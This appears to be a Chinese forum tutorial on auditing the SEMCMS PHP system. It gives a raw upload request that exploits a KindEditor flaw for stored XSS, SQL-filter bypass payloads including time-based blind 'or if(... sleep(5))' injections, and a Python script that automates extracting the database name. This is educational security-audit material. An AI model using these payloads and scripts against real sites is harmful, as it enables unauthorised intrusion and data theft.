找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1526

积分

0

好友

222

主题
发表于 昨天 18:58 | 查看: 4| 回复: 0

本次审计学习选用的SEMCMS是一套非常适合入门的PHP系统,其代码结构清晰,涵盖了前台文件分析、SQL注入查找、过滤函数绕过等经典场景,是提升代码审计能力的绝佳材料。

环境搭建与初步探测

首先从官网下载SEMCMS,并使用PHPStudy进行安装。需注意,建议选择PHP 7.4以下版本,以避免高版本语法不支持的问题。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 1

安装成功后,后台访问路径为 域名/dPVnrB_Admin/

存储型XSS漏洞挖掘

审计的第一步是熟悉代码目录结构。dPVnrB_Admin/ 目录即为后台,其中的 edit/ 目录使用了Kindeditor富文本编辑器。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 2

查看 kindeditor.js 文件,发现其版本为4.1.10,这是一个存在已知上传漏洞的版本。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 3

确认该JS文件可通过浏览器直接访问后,尝试访问漏洞路径:/Edit/php/upload_json.php?dir=file,响应码为200。虽然页面没有预期回显(可能系统经过修改或存在权限限制),但仍可直接发送攻击Payload进行测试。

绕过网上那些繁琐的HTML文件上传Poc,直接发送以下POST请求包:

POST /Edit/php/upload_json.php?dir=file HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypfEGN549yusZTYG3
Content-Length: 138

------WebKitFormBoundarypfEGN549yusZTYG3
Content-Disposition: form-data; name="imgFile"; filename="1.html"
123
------WebKitFormBoundarypfEGN549yusZTYG3--

上传成功,并可以访问上传的HTML文件,成功构造了前台存储型XSS攻击点。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 4
PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 5

网络安全审计角度看,漏洞成因在于 upload_json.php 中的文件白名单包含了 htmhtml 后缀。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 6

前台可访问文件定位策略

通过目录结构分析,该系统为自主开发,未使用主流框架,路由模式为直接的 域名/目录/文件 形式。这为快速定位前台可访问文件提供了便利。

可以采用“黑白结合”的方法:提取所有PHP文件路径,利用工具进行批量访问测试,从而筛选出未授权或前台可访问的文件进行优先审计。这种方法能有效缩小渗透测试的初始攻击面。

以下Python脚本可用于遍历并格式化所有.php文件路径:

import os
import sys

def scan_php_files(directory):
    php_files = []
    if not os.path.isdir(directory):
        print(f"错误:目录 '{directory}' 不存在或无法访问")
        sys.exit(1)

    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith('.php'):
                full_path = os.path.join(root, file)
                relative_path = os.path.relpath(full_path, start=directory)
                formatted_path = '/' + relative_path.replace('\\', '/')
                php_files.append(formatted_path)

    with open('result.txt', 'w', encoding='utf-8') as f:
        for file_path in php_files:
            f.write(file_path + '\n')
    print(f"成功找到 {len(php_files)} 个.php文件,格式化路径已保存到 result.txt")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("使用方法: python getPathl.py <目标目录>")
        print("示例: python getPathl.py /var/www/project")
        sys.exit(1)
    target_dir = sys.argv[1]
    scan_php_files(target_dir)

将生成的路径列表导入渗透测试工具进行爆破,可以快速识别出如 /Include//Templete//Edit/ 等疑似前台可访问的目录,从而避免在海量的代码扫描报告中盲目查找。

前台SQL注入漏洞审计

基于上述策略,我们优先审计疑似前台文件。在 /include/web_inc.php 中,发现一处对 languageID 参数的处理逻辑:

if (isset($_POST["languageID"])){
  $Language=test_input(verify_str($_POST["languageID"]));
}else{
  $Language=verify_str($Language);
}
if(!empty($Language)){
    $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 7

参数经过 verify_str()test_input() 两层函数过滤后,直接拼接进入SQL语句,存在数字型注入的可能。

1. 过滤函数分析
  • verify_str():位于 control.php,调用 inject_check_sql($sql_str) 函数进行过滤,正则规则为:/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i,拦截了常见SQL关键字、特殊符号及高危函数。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 8

  • test_input():主要进行防XSS处理,包括 trim()stripslashes()htmlspecialchars()

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 9

因此,突破点在于绕过 verify_str() 函数的过滤。

2. 报错注入尝试与限制

首先尝试报错注入 extractvalue(1,concat(0x7e,user(),0x7e,database()))#。该Payload成功绕过了关键字过滤,并传入数据库执行。

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 10

PHP代码审计实战:SEMCMS存储型XSS与SQL注入漏洞挖掘流程 - 图片 - 11

但漏洞无法利用,因为页面代码中没有对查询结果进行任何输出(如 echoprint),即使SQL语句报错或执行成功,攻击者也无法在前端获取到任何回显信息。

3. 基于ORLIKE的时间盲注

过滤规则拦截了 and,但未拦截 or。可以利用 or 配合 iflikesleep() 函数构造时间盲注。

  • 基础Payload:0 or 1=1,用于验证注入。
  • 时间盲注Payload:0 or if(length(database()) like 19,sleep(5),1),通过响应延迟判断数据库名长度为19。

由于 test_input() 函数会对双引号进行HTML实体转义(" -> "),导致SQL语句执行失败,因此不能直接使用字符进行 like 匹配。解决方案是使用十六进制或ASCII码。

例如,判断数据库第一位是否为 ‘s’ (ASCII 115, 十六进制 0x73):

0 or if(substr(database(),1,1) like 0x73,sleep(5),1)

编写自动化脚本,可以依次跑出完整的数据库名:

import argparse
import urllib.request
import urllib.error
import time
import sys

DB_LENGTH = 21  # 固定数据库长度常量
TIMEOUT = 6     # 请求超时时间

def getDatabase(url, timeout=TIMEOUT):
    s = ''
    print(f'[+] 开始Fuzz数据库名,目标URL: {url}')
    for i in range(1, DB_LENGTH+1):
        found = False
        print(f'\n[!] 测试第 {i}/{DB_LENGTH} 位字符')
        for j in range(32, 123):
            payload = f'languageID=0 or if(ascii(substr(database(),{i},1)) like {j},sleep({timeout}),1);'
            data = payload.encode('utf-8')
            req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
            start_time = time.time()
            try:
                with urllib.request.urlopen(req, timeout=timeout+1) as response:
                    elapsed = time.time() - start_time
                    if elapsed > timeout:
                        char = chr(j)
                        s += char
                        print(f'[+] 发现字符: {char} (ASCII {j})')
                        found = True
                        break
            except urllib.error.URLError as e:
                if isinstance(e.reason, TimeoutError):
                    char = chr(j)
                    s += char
                    print(f'[+] 发现字符: {char} (ASCII {j})')
                    found = True
                    break
                else:
                    print(f'\n[-] 网络错误: {e.reason}')
                    break
            except Exception as e:
                if "timed out" in str(e).lower() or "timeout" in str(e).lower():
                    char = chr(j)
                    s += char
                    print(f'[+] 发现字符: {char} (ASCII {j})')
                    found = True
                    break
                else:
                    print(f'\n[-] 意外错误: {e}')
                    break
        if not found:
            print(f'[-] 无法确定第 {i} 位字符')
    print('\n[+] 数据库名:', s)
    return s

... (main函数等后续代码)

总结与延伸思考

至此,我们完成了对SEMCMS前台一处SQL时间盲注漏洞的完整审计与利用。后台SQL注入的绕过手法与此类似。时间盲注效率较低,已有研究者通过判断页面返回内容差异(如Content-Length)的方式大幅提升了注入效率,此思路亦可借鉴应用于前台漏洞的利用中。

本次审计过程也揭示了前端框架与后端安全密不可分的关系,例如旧版本编辑器组件引入的安全风险。深入的代码审计需要结合静态分析与动态验证,从过滤逻辑、数据流走向、结果回显等多个维度综合判断漏洞的可利用性。




上一篇:SpringBoot集成Flowable工作流引擎:快速实现员工请假审批流程
下一篇:YOLOv5模型自定义训练结果详解:权重文件与指标可视化文件结构解析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 18:58 , Processed in 0.259661 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表